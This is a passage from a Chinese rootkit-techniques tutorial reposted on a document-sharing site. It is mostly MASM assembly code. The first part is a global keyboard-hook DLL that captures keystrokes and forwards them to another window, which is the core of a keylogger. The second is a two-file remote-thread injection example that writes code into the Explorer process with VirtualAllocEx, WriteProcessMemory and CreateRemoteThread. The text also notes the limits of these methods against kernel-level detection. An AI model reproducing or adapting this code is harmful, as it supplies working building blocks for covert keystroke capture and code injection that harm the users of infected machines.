第一范文网 - 专业文章范例文档资料分享平台

必备绝技--Hook大法( 上) (4)

来源:用户分享 时间:2020-06-30 本文由雲间烟火 分享 下载这篇文档 手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:xxxxxx或QQ:xxxxxx 处理(尽可能给您提供完整文档),感谢您的支持与谅解。

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; dll 的入口函数

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DllEntry proc _hInstance,_dwReason,_dwReserved

push _hInstance pop hInstance mov eax,TRUE ret

DllEntry Endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 键盘钩子回调函数

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HookProc proc _dwCode,_wParam,_lParam local @szKeyState[256]:byte

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam invoke GetKeyboardState,addr @szKeyState invoke GetKeyState,VK_SHIFT mov @szKeyState + VK_SHIFT,al mov ecx,_lParam shr ecx,16

invoke ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0 mov byte ptr szAscii [eax],0

invoke SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL xor eax,eax ret

HookProc endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 安装钩子

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> InstallHook proc _hWnd,_dwMessage

push _hWnd pop hWnd push _dwMessage pop dwMessage

invoke SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL mov hHook,eax ret

InstallHook endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 卸载钩子

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> UninstallHook proc

invoke UnhookWindowsHookEx,hHook ret

UninstallHook endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> End DllEntry

4.局限性:会产生Dll体,虽然没有进程,但可以通过其他工具轻易发现 (三)通过创建远程线程

1.一般思路:远程线程,顾名思义就是在其他进程中创建一个线程,如果这个进程是系统每次启动必须加载的,那么就能每次有注入目标。这主要通过CreateRemoteThread函数完成。 2.大体框架:

文件1:可以重定位的代码,或是DLL,这个代码当然是有特定目的的 文件2:查找特定进程,如文件管理器,打开进程 VirtualAllocEx函数在进程中申请分配空间

WriteProcessMemory函数将远程线程中的代码拷贝到申请到的空间 CreateRemoteThread函数创建远程线程 3.代码实例:

文件1:一段可重定位代码

REMOTE_CODE_START equ this byte

_lpLoadLibary dd ? ;输入函数地址表 _lpGetProcAddress dd ? _lpGetModuleHandle dd ?

_lpMessageBox dd ?

;全局变量表 _hInstance dd ?

_szDllUser db 'User32.dll',0 _szMessageBox db 'MessageBox',0 _szCaption db 'A rootkit !',0

_szText db 'Hello,im LvG,but you cant find me!',0 .code

_RemoteThread proc uses ebx edi esi lParam local @hModule local @hInstance

call @F @@: pop ebx

sub ebx, offset @B

_invoke [ebx, _lpGetModuleHandle],NULL mov [ebx, _hInstance], eax

lea eax, [ebx + offset _szDllUser] _invoke [ebx + _lpGetModuleHandle], eax mov @hModule, eax

lea esi, [ebx + offset _szMessageBox]

_invoke [ebx + _lpGetProcAddress], @hModule, esi mov [ebx + offset _lpMessageBox], eax lea eax, [ebx + offset _szCaption] lea ecx, [ebx + offset _szText]

_invoke [ebx + _lpMessageBox], NULL, ecx, eax,MB_OK ret

_RemoteThread endp

REMOTE_CODE_END equ this byte

REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START 文件2: .386

.model flat, stdcall option casemap :none

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 文件定义

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include Macro.inc

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data?

lpLoadLibrary dd ? lpGetProcAddress dd ? lpGetModuleHandle dd ? dwProcessID dd ?

dwThreadID dd ? hProcess dd ? lpRemoteCode dd ? .const

szErrOpen db '无法打开远程线程!',0 szDesktopClass db 'Progman',0

szDesktopWindow db 'Program Manager',0 szDllKernel db 'Kernel32.dll',0 szLoadLibrary db 'LoadLibraryA',0 szGetProcAddress db 'GetProcAddress',0 szGetModuleHandle db 'GetModuleHandleA',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include RemoteCode.asm start:

invoke GetModuleHandle,addr szDllKernel mov ebx,eax

invoke GetProcAddress,ebx,offset szLoadLibrary mov lpLoadLibrary,eax

invoke GetProcAddress,ebx,offset szGetProcAddress mov lpGetProcAddress,eax

invoke GetProcAddress,ebx,offset szGetModuleHandle mov lpGetModuleHandle,eax

;******************************************************************** ; 查找文件管理器窗口并获取进程ID,然后打开进程

;******************************************************************** invoke FindWindow,addr szDesktopClass,addr szDesktopWindow invoke GetWindowThreadProcessId,eax,offset dwProcessID mov dwThreadID,eax

invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \\ PROCESS_VM_WRITE,FALSE,dwProcessID .if eax

mov hProcess,eax

;******************************************************************** ; 在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程

;********************************************************************

invoke VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE .if eax

mov lpRemoteCode,eax

invoke WriteProcessMemory,hProcess,lpRemoteCode,\\

offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL invoke WriteProcessMemory,hProcess,lpRemoteCode,\\ offset lpLoadLibrary,sizeof dword * 3,NULL mov eax,lpRemoteCode

add eax,offset _RemoteThread - offset REMOTE_CODE_START invoke CreateRemoteThread,hProcess,NULL,0,eax,0,0,NULL invoke CloseHandle,eax .endif

invoke CloseHandle,hProcess .else

invoke MessageBox,NULL,addr szErrOpen,NULL,MB_OK or MB_ICONWARNING .endif

invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> end start

4.局限性:有时会遇到申请内存失败。

总结:以上的几种方法,相互配合将发挥更为强大的力量。但由于都是动作在ring3,有着先天不足的缺点,都逃不过内核模块的监测。

参考文献:<> 一本专门介绍rootkits的好书 可在网上baidu到 <> 罗云彬

搜索“diyifanwen.net”或“第一范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,第一范文网,提供最新教学研究必备绝技--Hook大法( 上) (4)全文阅读和word下载服务。

必备绝技--Hook大法( 上) (4).doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.diyifanwen.net/wenku/1107412.html(转载请注明文章来源)
热门推荐
Copyright © 2018-2022 第一范文网 版权所有 免责声明 | 联系我们
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:xxxxxx 邮箱:xxxxxx@qq.com
渝ICP备2023013149号
Top